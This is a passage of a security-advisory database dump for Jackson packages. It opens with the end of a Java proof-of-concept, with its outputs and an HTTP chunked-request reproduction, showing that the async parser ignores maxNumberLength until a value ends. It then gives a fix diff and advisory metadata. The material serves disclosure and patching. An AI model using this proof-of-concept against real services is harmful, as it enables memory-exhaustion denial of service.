JsonFactoryBuilder()\n .streamReadConstraints(strict)\n .build();\n\n // Sanity: synchronous parser rejects 5000-digit int.\n try (JsonParser p = f.createParser(\"{\\\"v\\\":\" + \"1\".repeat(5000) + \"}\")) {\n while (p.nextToken() != null) { /* drive */ }\n System.out.println(\"[-] BUG ABSENT: sync parser accepted\");\n return;\n } catch (Exception e) {\n System.out.println(\"[+] sync parser rejected 5000-digit int: \" + e.getClass().getSimpleName());\n }\n\n // Bug: async parser, chunked, no terminator.\n JsonParser ap = f.createNonBlockingByteArrayParser();\n ByteArrayFeeder feeder = (ByteArrayFeeder) ap;\n\n byte[] preamble = \"{\\\"v\\\":\".getBytes(\"UTF-8\");\n feeder.feedInput(preamble, 0, preamble.length);\n while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }\n\n byte[] digits = new byte[16 * 1024];\n for (int i = 0; i \u003c digits.length; i++) digits[i] = (byte) ('1' + (i % 9));\n\n for (int c = 0; c \u003c 600; c++) {\n feeder.feedInput(digits, 0, digits.length);\n JsonToken t = ap.nextToken();\n if (t != JsonToken.NOT_AVAILABLE) {\n System.out.println(\"[-] unexpected token: \" + t);\n return;\n }\n }\n System.out.println(\"[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\");\n\n // Closing the number now finally triggers the validator.\n feeder.feedInput(\"}\".getBytes(\"UTF-8\"), 0, 1);\n feeder.endOfInput();\n try {\n while (ap.nextToken() != null) { /* drive */ }\n } catch (Exception e) {\n System.out.println(\"[*] late rejection on close: \" + e.getMessage().split(\"\\n\")[0]);\n }\n ap.close();\n }\n}\nEOF\njavac -cp jackson-core-2.18.6.jar PoC.java\njava -Xmx256m -cp jackson-core-2.18.6.jar:. PoC\n```\n\nObserved output against `jackson-core-2.18.6`:\n\n```\n[+] sync parser rejected 5000-digit int: StreamConstraintsException\n[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\n[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)\n```\n\nObserved output against `jackson-core-2.21.1`: identical.\n\nThe 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is `maxStringLength = 20 MiB`. With the strict policy declared as `maxNumberLength = 1000`, the parser permits **9830x** more allocation than the policy allows. With `maxStringLength` left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of `char[]` heap (chars are 2 bytes each) before the validator finally fires on terminator/`endOfInput()`. Multiply by concurrent connections.\n\n## End-to-end reproduction through real HTTP\n\nSupplements the standalone PoC with a running Spring Boot WebFlux server,\ndriving the same bug through the actual reactor-netty + Jackson2JsonDecoder\nstreaming-decode path that production reactive endpoints use.\n\nSetup:\n- Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)\n- jackson-databind 2.17.2, jackson-core overridden:\n - VULN run: `com.fasterxml.jackson.core:jackson-core:2.18.7` (latest published)\n - PATCHED run: `2.18.8-SNAPSHOT` built from the fix branch\n- JVM: OpenJDK 17.0.18\n- Server `JsonFactory` configured with `StreamReadConstraints.builder().maxNumberLength(1000).build()`\n\nEndpoint under test exposes the `Flux\u003cDataBuffer\u003e` request body directly to\n`Jackson2JsonDecoder.decode(Flux, ResolvableType, ...)` so the parser sees one\nHTTP chunk per `feedInput` (the same pattern used for any\n`@RequestBody Flux\u003c...\u003e` / streaming JSON decoder in WebFlux). A raw-socket\nHTTP/1.1 chunked client streams `{\"v\":1` then 250 chunks of 200 digit bytes\neach (50,000 digits total) at 20ms intervals, then writes the closing `}`.\n\nVULN — jackson-core 2.18.7:\n```\n[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting\n[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:\nHTTP/1.1 200 OK\nERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:\n Number value length (50000) exceeds the maximum allowed (1000, ...)\n```\nServer-side controller trace (250 DataBuffer arrivals elided):\n```\n[ctrl] DataBuffer arrived size=6 ms=39 \u003c- '{\"v\":1'\n[ctrl] DataBuffer arrived size=200 ms=42\n...\n[ctrl] DataBuffer arrived size=199 ms=5993\n[ctrl] DataBuffer arrived size=1 ms=6518 \u003c- closing '}'\n[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...\n```\nServer held all 50,000 digit characters in `_textBuffer` for 6.5 seconds with\n`maxNumberLength=1000` declared. The validator never fires during streaming;\nit only fires at value-completion when the closing `}` arrives.\n\nPATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch):\n```\n[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe\n[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream\n```\nServer-side controller trace:\n```\n[ctrl] DataBuffer arrived size=6 ms=129\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=145\n[ctrl] DataBuffer arrived size=200 ms=146\n[ctrl] DataBuffer arrived size=200 ms=147\n[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)\n```\nPatched server raises `StreamConstraintsException` at 155ms after only 5\nDataBuffers, exactly when the accumulated digit count crosses\n`maxNumberLength=1000`. The connection is reset mid-stream rather than the\nparser silently consuming the rest of the attacker's payload.\n\nSide-by-side:\n\n| Build | Chunks accepted before exception | Digits buffered | Time to detection |\n|---|---|---|---|\n| jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms — only at terminator |\n| 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms — moment threshold crossed |\n\nNote on the default `@RequestBody Mono\u003cJsonNode\u003e` path: that path cannot\ndistinguish the two builds because Spring's `decodeToMono` joins all\nDataBuffers into one before parsing. The exploitable shape is the\nstreaming-decode path (`Flux\u003cJsonNode\u003e` / `@RequestBody Flux\u003c...\u003e` /\nWebSocket / SSE / any direct `decoder.decode(Flux\u003cDataBuffer\u003e, ...)` call),\nwhich is also what `Jackson2Tokenizer` uses for any streaming JSON\ndeserialization in WebFlux and Quarkus reactive REST.\n\n## Suggested fix\n\nMirror the pattern already used in `_finishFloatFraction`. At every site that returns `_updateTokenToNA()` (or `JsonToken.NOT_AVAILABLE`) with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`, call `_setIntLength(outPtr + negMod)` first. Concretely, the diff to `NonBlockingUtf8JsonParserBase.java` would be:\n\n```diff\n protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n int negMod = _numberNegative ? -1 : 0;\n\n while (true) {\n if (_inputPtr \u003e= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n+ _streamReadConstraints.validateIntegerLength(outPtr + negMod);\n return _updateTokenToNA();\n }\n```\n\nNote: `_setIntLength` itself can't be used as-is because it also assigns `_intLength`, and `_intLength` must not be set until the integer is truly complete (subsequent fraction handling reads `_intLength`). The minimal fix is to call only the validator, as shown.\n\nApply the same one-line insertion before each `return _updateTokenToNA();` that exits with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`. The sites are listed above (12 lines total).\n\nAlternatively, a heavier refactor: also gate `_textBuffer.expandCurrentSegment()` calls inside the digit-accumulation loops on `outPtr \u003c maxNumberLength` so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.\n\n## Credit\n\nReported by `tonghuaroot` (`tonghuaroot@gmail.com`). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.", "id": "GHSA-r7wm-3cxj-wff9", "modified": "2026-10-02T23:15:06.853935725Z", "published": "2026-07-21T21:58:53Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-r7wm-3cxj-wff9" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68494" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/pull/1611" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/commit/050b429804dce2a7e08f0be1b0b4c3d040fdb9cd" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/commit/4cdd529749da396cc7edf6d4a2aad41d47902641" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/commit/c5941e5aae7fd5aeac55d66933cfb82b9aabeef8" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-core" } ], "related": [ "CVE-2026-68494" ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "type": "CVSS_V4" } ], "summary": "jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)" } ] }, { "package": { "name": "com.fasterxml.jackson.core:jackson-databind", "version": "2.13.0", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.0" }, "groups": [ { "ids": [ "GHSA-3wrr-7qpf-2prh" ], "aliases": [ "CVE-2026-50193", "GHSA-3wrr-7qpf-2prh" ], "max_severity": "7.5" }, { "ids": [ "GHSA-3x8x-79m2-3w2w" ], "aliases": [ "CVE-2021-46877", "GHSA-3x8x-79m2-3w2w" ], "max_severity": "7.5" }, { "ids": [ "GHSA-57j2-w4cx-62h2" ], "aliases": [ "CVE-2020-36518", "GHSA-57j2-w4cx-62h2" ], "max_severity": "7.5" }, { "ids": [ "GHSA-5jmj-h7xm-6q6v" ], "aliases": [ "CVE-2026-54515", "GHSA-5jmj-h7xm-6q6v" ], "max_severity": "5.3" }, { "ids": [ "GHSA-cxp5-3px4-pw24" ], "aliases": [ "CVE-2026-91777", "GHSA-cxp5-3px4-pw24" ], "max_severity": "7.5" }, { "ids": [ "GHSA-gx83-3vf8-gh7j" ], "aliases": [ "CVE-2026-83557", "GHSA-gx83-3vf8-gh7j" ], "max_severity": "5.6" }, { "ids": [ "GHSA-hgj6-7826-r7m5" ], "aliases": [ "CVE-2026-54514", "GHSA-hgj6-7826-r7m5" ], "max_severity": "5.3" }, { "ids": [ "GHSA-j3rv-43j4-c7qm" ], "aliases": [ "CVE-2026-54512", "GHSA-j3rv-43j4-c7qm" ], "max_severity": "8.1" }, { "ids": [ "GHSA-jjjh-jjxp-wpff" ], "aliases": [ "CVE-2022-42003", "GHSA-jjjh-jjxp-wpff" ], "max_severity": "7.5" }, { "ids": [ "GHSA-rgv9-q543-rqg4" ], "aliases": [ "CVE-2022-42004", "GHSA-rgv9-q543-rqg4" ], "max_severity": "8.2" }, { "ids": [ "GHSA-rmj7-2vxq-3g9f" ], "aliases": [ "CVE-2026-54513", "GHSA-rmj7-2vxq-3g9f" ], "max_severity": "8.1" }, { "ids": [ "GHSA-vvgp-rfg2-7rr6" ], "aliases": [ "CVE-2026-77310", "GHSA-vvgp-rfg2-7rr6" ], "max_severity": "5.3" }, { "ids": [ "GHSA-wjgm-6hv5-3cvf" ], "aliases": [ "CVE-2026-19032", "GHSA-wjgm-6hv5-3cvf" ], "max_severity": "5.3" }, { "ids": [ "GHSA-wv8q-qhhj-9h54" ], "aliases": [ "CVE-2026-91776", "GHSA-wv8q-qhhj-9h54" ], "max_severity": "7.5" } ], "vulnerabilities": [ { "affected": [ { "database_specific": { "last_known_affected_version_range": "\u003c= 2.13.5", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-3wrr-7qpf-2prh/GHSA-3wrr-7qpf-2prh.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.10.0" }, { "fixed": "2.14.0" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.10.5.1", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.6.1", "2.12.7", "2.12.7.1", "2.12.7.2", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.2.1", "2.13.2.2", "2.13.3", "2.13.4", "2.13.4.1", "2.13.4.2", "2.13.5", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3" ] } ], "aliases": [ "CVE-2026-50193" ], "database_specific": { "cwe_ids": [ "CWE-400" ], "github_reviewed": true, "github_reviewed_at": "2026-06-23T21:21:12Z", "nvd_published_at": "2026-06-23T21:17:01Z", "severity": "MODERATE" }, "details": "### Impact\n\nPotential Denial-of-Service when attacker sends deeply nested JSON if (and only if) service:\n\n1. Reads deeply nested (1000s of levels) JSON as `JsonNode` (ObjectMapper.readTree())\n2. Writes out same (or modifided) node using `JsonNode.toString()`\n\nwhich can consume significant amount of resources with concurrent relatively small requests (1000 nested arrays is 2kB).\n\n### Patches\n\nFixed in 2.14.0 via https://github.com/FasterXML/jackson-databind/issues/3447.\n\n### Workarounds\n\nAvoid serializing `JsonNode` using `toString()`: use ObjectMapper.writeValueAsString(node)", "id": "GHSA-3wrr-7qpf-2prh", "modified": "2026-09-10T03:50:55.377810854Z", "published": "2026-06-23T21:21:12Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-3wrr-7qpf-2prh" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50193" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/issues/3447" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/a1fa4ae4ecf5cee16da465985f135f3e81816f8c" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "type": "CVSS_V3" }, { "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N", "type": "CVSS_V4" } ], "summary": "jackson-databind: Deeply nested JsonNode throws StackOverflowError for toString()" }, { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/03/GHSA-3x8x-79m2-3w2w/GHSA-3x8x-79m2-3w2w.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.10.0" }, { "fixed": "2.12.6" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.10.5.1", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/03/GHSA-3x8x-79m2-3w2w/GHSA-3x8x-79m2-3w2w.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.13.0" }, { "fixed": "2.13.1" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.13.0" ] } ], "aliases": [ "CVE-2021-46877" ], "database_specific": { "cwe_ids": [ "CWE-770" ], "github_reviewed": true, "github_reviewed_at": "2023-03-20T21:14:14Z", "nvd_published_at": "2023-03-18T22:15:00Z", "severity": "HIGH" }, "details": "jackson-databind 2.10.x through 2.12.x before 2.12.6 and 2.13.x before 2.13.1 allows attackers to cause a denial of service (2 GB transient heap usage per read) in uncommon situations involving JsonNode JDK serialization.", "id": "GHSA-3x8x-79m2-3w2w", "modified": "2026-09-10T03:49:52.469168227Z", "published": "2023-03-19T00:30:25Z", "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46877" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/issues/3328" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/3ccde7d938fea547e598fdefe9a82cff37fed5cb" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson/wiki/Jackson-Release-2.12.6" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson/wiki/Jackson-Release-2.13.1" }, { "type": "WEB", "url": "https://groups.google.com/g/jackson-user/c/OsBsirPM_Vw" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "type": "CVSS_V3" } ], "summary": "jackson-databind possible Denial of Service if using JDK serialization to serialize JsonNode" }, { "affected": [ { "database_specific": { "last_known_affected_version_range": "\u003c= 2.13.2.0", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/03/GHSA-57j2-w4cx-62h2/GHSA-57j2-w4cx-62h2.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.13.0" }, { "fixed": "2.13.2.1" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.13.0", "2.13.1", "2.13.2" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 2.12.6.0", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/03/GHSA-57j2-w4cx-62h2/GHSA-57j2-w4cx-62h2.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "2.12.6.1" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.0.0", "2.0.0-RC1", "2.0.0-RC2", "2.0.0-RC3", "2.0.1", "2.0.2", "2.0.4", "2.0.5", "2.0.6", "2.1.0", "2.1.1", "2.1.2", "2.1.3", "2.1.4", "2.1.5", "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.10.5.1", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.2.0", "2.2.0-rc1", "2.2.1", "2.2.2", "2.2.3", "2.2.4", "2.3.0", "2.3.0-rc1", "2.3.1", "2.3.2", "2.3.3", "2.3.4", "2.3.5", "2.4.0", "2.4.0-rc1", "2.4.0-rc2", "2.4.0-rc3", "2.4.1", "2.4.1.1", "2.4.1.2", "2.4.1.3", "2.4.2", "2.4.3", "2.4.4", "2.4.5", "2.4.5.1", "2.4.6", "2.4.6.1", "2.5.0", "2.5.0-rc1", "2.5.1", "2.5.2", "2.5.3", "2.5.4", "2.5.5", "2.6.0", "2.6.0-rc1", "2.6.0-rc2", "2.6.0-rc3", "2.6.0-rc4", "2.6.1", "2.6.2", "2.6.3", "2.6.4", "2.6.5", "2.6.6", "2.6.7", "2.6.7.1", "2.6.7.2", "2.6.7.3", "2.6.7.4", "2.6.7.5", "2.7.0", "2.7.0-rc1", "2.7.0-rc2", "2.7.0-rc3", "2.7.1", "2.7.1-1", "2.7.2", "2.7.3", "2.7.4", "2.7.5", "2.7.6", "2.7.7", "2.7.8", "2.7.9", "2.7.9.1", "2.7.9.2", "2.7.9.3", "2.7.9.4", "2.7.9.5", "2.7.9.6", "2.7.9.7", "2.8.0", "2.8.0.rc1", "2.8.0.rc2", "2.8.1", "2.8.10", "2.8.11", "2.8.11.1", "2.8.11.2", "2.8.11.3", "2.8.11.4", "2.8.11.5", "2.8.11.6", "2.8.2", "2.8.3", "2.8.4", "2.8.5", "2.8.6", "2.8.7", "2.8.8", "2.8.8.1", "2.8.9", "2.9.0", "2.9.0.pr1", "2.9.0.pr2", "2.9.0.pr3", "2.9.0.pr4", "2.9.1", "2.9.10", "2.9.10.1", "2.9.10.2", "2.9.10.3", "2.9.10.4", "2.9.10.5", "2.9.10.6", "2.9.10.7", "2.9.10.8", "2.9.2", "2.9.3", "2.9.4", "2.9.5", "2.9.6", "2.9.7", "2.9.8", "2.9.9", "2.9.9.1", "2.9.9.2", "2.9.9.3" ] } ], "aliases": [ "CVE-2020-36518" ], "database_specific": { "cwe_ids": [ "CWE-787" ], "github_reviewed": true, "github_reviewed_at": "2022-03-22T14:36:44Z", "nvd_published_at": "2022-03-11T07:15:00Z", "severity": "HIGH" }, "details": "jackson-databind is a data-binding package for the Jackson Data Processor. jackson-databind allows a Java stack overflow exception and denial of service via a large depth of nested objects.", "id": "GHSA-57j2-w4cx-62h2", "modified": "2026-09-10T03:49:13.050028320Z", "published": "2022-03-12T00:00:36Z", "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36518" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/issues/2816" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/0a8157c6ca478b1bc7be4ba7dccdb3863275f0de" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/3cc52f82ecf943e06c1d7c3b078e405fb3923d2b" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/8238ab41d0350fb915797c89d46777b4496b74fd" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/b3587924ee5d8695942f364d0d404d48d0ea6126" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson/wiki/Jackson-Release-2.12" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson/wiki/Jackson-Release-2.13" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2022/05/msg00001.html" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2022/11/msg00035.html" }, { "type": "WEB", "url": "https://security.netapp.com/advisory/ntap-20220506-0004" }, { "type": "WEB", "url": "https://www.debian.org/security/2022/dsa-5283" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpuapr2022.html" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpujul2022.html" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "type": "CVSS_V3" } ], "summary": "Deeply nested json in jackson-databind" }, { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-5jmj-h7xm-6q6v/GHSA-5jmj-h7xm-6q6v.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.1.0" }, { "fixed": "3.1.4" } ], "type": "ECOSYSTEM" } ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-5jmj-h7xm-6q6v/GHSA-5jmj-h7xm-6q6v.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.1.0" }, { "fixed": "3.1.4" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.1.0", "3.1.1", "3.1.2", "3.1.3" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-5jmj-h7xm-6q6v/GHSA-5jmj-h7xm-6q6v.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.8.0" }, { "fixed": "2.18.9" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.10.5.1", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.6.1", "2.12.7", "2.12.7.1", "2.12.7.2", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.2.1", "2.13.2.2", "2.13.3", "2.13.4", "2.13.4.1", "2.13.4.2", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7", "2.18.8", "2.8.0", "2.8.1", "2.8.10", "2.8.11", "2.8.11.1", "2.8.11.2", "2.8.11.3", "2.8.11.4", "2.8.11.5", "2.8.11.6", "2.8.2", "2.8.3", "2.8.4", "2.8.5", "2.8.6", "2.8.7", "2.8.8", "2.8.8.1", "2.8.9", "2.9.0", "2.9.0.pr1", "2.9.0.pr2", "2.9.0.pr3", "2.9.0.pr4", "2.9.1", "2.9.10", "2.9.10.1", "2.9.10.2", "2.9.10.3", "2.9.10.4", "2.9.10.5", "2.9.10.6", "2.9.10.7", "2.9.10.8", "2.9.2", "2.9.3", "2.9.4", "2.9.5", "2.9.6", "2.9.7", "2.9.8", "2.9.9", "2.9.9.1", "2.9.9.2", "2.9.9.3" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-5jmj-h7xm-6q6v/GHSA-5jmj-h7xm-6q6v.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.5" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3", "2.21.4" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-5jmj-h7xm-6q6v/GHSA-5jmj-h7xm-6q6v.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.22.0" }, { "fixed": "2.22.1" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.22.0" ] } ], "aliases": [ "CVE-2026-54515" ], "database_specific": { "cwe_ids": [ "CWE-915" ], "github_reviewed": true, "github_reviewed_at": "2026-06-23T21:23:58Z", "nvd_published_at": "2026-06-23T21:17:02Z", "severity": "MODERATE" }, "details": "## Summary\nIn `BeanDeserializerBase.createContextual()`, per-property `@JsonIgnoreProperties` exclusions are applied by `_handleByNameInclusion()`, producing a `contextual` deserializer whose `BeanPropertyMap` has the ignored properties removed. The subsequent per-property case-insensitivity block (triggered by `@JsonFormat(ACCEPT_CASE_INSENSITIVE_PROPERTIES)`) rebuilds from `this._beanProperties` (the original, unfiltered map) instead of `contextual._beanProperties`, then overwrites the filtered map — restoring every property `_handleByNameInclusion` had just removed. The ignored property becomes writable again.\n\n## Impact\nAn application that both enables case-insensitive matching and relies on per-property `@JsonIgnoreProperties` to keep a field unwritable can have that field set from untrusted JSON (mass-assignment-style write).\n\n## Affected / Patched\nWill be fixed in 2.18.9, 2.21.5, 2.22.1 and 3.1.4.\n\n## Severity / CWE\nMaintainer: minor. Reporter: Moderate. CWE-915.\n\n## Upstream fix\nFasterXML/jackson-databind#5962 (PR #5964, `0e1b0b2`), milestone 3.1.4. Released 2026-06-04.", "id": "GHSA-5jmj-h7xm-6q6v", "modified": "2026-09-10T03:51:08.069993966Z", "published": "2026-06-23T21:23:58Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-5jmj-h7xm-6q6v" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54515" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/issues/5962" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/issues/5964" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/0e1b0b211f7a53baa62ba2f4c9bd006c7bf4d5fa" }, { "type": "PACKAGE", "url": 